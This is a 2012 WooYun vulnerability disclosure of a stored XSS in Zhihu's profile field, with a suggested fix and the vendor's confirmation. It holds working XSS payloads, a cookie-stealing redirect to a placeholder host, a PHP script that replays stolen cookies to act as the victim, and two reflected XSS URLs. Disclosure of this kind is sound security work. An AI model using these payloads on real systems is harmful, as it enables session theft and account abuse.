漏洞概要 关注数(10) 关注此漏洞
缺陷编号: WooYun-2012-08538
漏洞标题: 知乎存储型xss
相关厂商: 知乎
漏洞作者: possible
提交时间: 2012-06-20 12:14
公开时间: 2012-08-04 12:15
漏洞类型: XSS 跨站脚本攻击
危害等级: 高
自评Rank: 15
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: XSS 持久型xss
漏洞详情
披露状态:
2012-06-20: 细节已通知厂商并且等待厂商处理中
2012-06-20: 厂商已经确认,细节仅向厂商公开
2012-06-30: 细节向核心白帽子及相关领域专家公开
2012-07-10: 细节向普通白帽子公开
2012-07-20: 细节向实习白帽子公开
2012-08-04: 细节向公众公开
简要描述:
知乎xss,可盗取用户cookie信息
详细说明:
知乎在编辑个人资料“一句话介绍”处,没有过滤双引号(过滤了<、>),导致span后内容可控,即形如<span 可控内容></span>,在啤酒@wooyun大神的指点下,终于想到在一句话介绍这里写入test" onmousemove="alert(/xss/) 只要其他用户浏览我的主页,并且鼠标点到介绍位置,就会触发代码执行,xss。
不知道怎样添加外部js,本来是打算这样
<span class="xmsw" title="dd" onmousemove=e=document.createElement('script');e.setAttribute('src','1.js');document.body.appendChild(e); id="test">test</span>
无奈,服务器端有长度限制。
最后还是盗取cookie吧,大家都懂,就不细说了,一句话中写入
x"onmouseout=window.location='http://test/test.php?c='+document.cookie//
最终结果:
<span class="xmsw" title="x"onmouseout=window.location='http://test/test.php?c='+document.cookie//"> x"onmouseout=window.location='…</span>
但是盗取cookie有什么用?写一个php证明一下,这个cookie可以做很多事:
<?php
function uc_fopen($url,$post = '', $cookie = '',$limit = 0, $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
$return = '';
$matches = parse_url($url);
!isset($matches['host']) && $matches['host'] = '';
!isset($matches['path']) && $matches['path'] = '';
!isset($matches['query']) && $matches['query'] = '';
!isset($matches['port']) && $matches['port'] = '';
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if($post) {
$out = "POST $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
//$out .= "Referer: $boardurl\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .="Referer: http://www.zhihu.com/topic/%E7%94%B5%E5%BD%B1\r\n";
$out .= 'Content-Length: '.strlen($post)."\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cache-Control: no-cache\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
$out .= $post;
} else {
$out = "GET $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
//$out .= "Referer: $boardurl\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) {
return '';//note $errstr : $errno \r\n
} else {
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if(!$status['timed_out']) {
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
break;
}
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
}
@fclose($fp);
return $return;
}
}
$cookie = $_GET['c'];
echo $cookie;
$data ='type=people&id=28bb2b6ff09a5072198351434ab2efff&status=1';
$url='http://www.zhihu.com/follow';
echo uc_fopen($url,$data,$cookie);
?>
这个php主要实现添加对yolfilm账号的关注。当有人浏览我的个人资料,当鼠标移动触发xss,就会跳转到这个页面,进而使用php对yolfilm添加关注。 其他的就不演示了,只要找到操作的数据包,然后使用php脚本提交就可以实现。
而且,知乎所有提交输入的地方都没有验证码,导致可以自动提交,这个也给php脚本提交带来了便利....
另外附送两个反射xss:
http://www.zhihu.com/people/yolfilm/search?pq=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&type=all
http://www.zhihu.com/search?q=%22/%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
漏洞证明:
修复方案:
过滤" 编码输出
版权声明:转载请注明来源 possible@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2012-06-20 13:42
厂商回复:
非常感谢反馈, 已在修复 ..
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值